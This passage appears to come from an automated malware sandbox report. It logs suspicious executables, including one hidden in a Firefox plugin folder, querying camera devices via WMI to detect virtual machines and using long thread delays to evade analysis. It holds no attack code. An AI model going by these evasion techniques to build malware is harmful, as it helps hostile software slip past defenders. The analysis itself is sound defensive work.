Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Memory allocated: A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Memory allocated: 1A800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Memory allocated: 195ADB20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Memory allocated: 195C5D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Memory allocated: 2560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Memory allocated: 1A710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: F50000 memory reserve \| memory write watch
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: 1AD10000 memory reserve \| memory write watch
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: 1200000 memory reserve \| memory write watch
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: 1AEF0000 memory reserve \| memory write watch
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: F30000 memory reserve \| memory write watch
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Memory allocated: 1ACF0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599725	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599552	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599195	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597294	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596889	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596217	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596101	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595430	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595199	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 580098	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599875
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599766
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599641
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599531
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599421
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599313
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599188
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599063
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598926
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598754
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598625
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598516
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598391
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598281
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598172
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598063
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597938
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597813
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597578
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597469
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597344
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597232
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597125
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597016
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596906
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596797
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596563
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596453
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596324
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596219
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596030
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595922
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595797
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595563
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595453
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Window / User API: threadDelayed 2374	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Window / User API: threadDelayed 6505	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Window / User API: threadDelayed 422	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Window / User API: threadDelayed 1387	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Window / User API: threadDelayed 3044
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Window / User API: threadDelayed 6701
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Window / User API: threadDelayed 364

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe TID: 1004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599725s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599552s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599195s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597405s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -597294s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596889s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596764s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596324s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596217s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -596101s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595984s >= -30000s	Jump to behavior
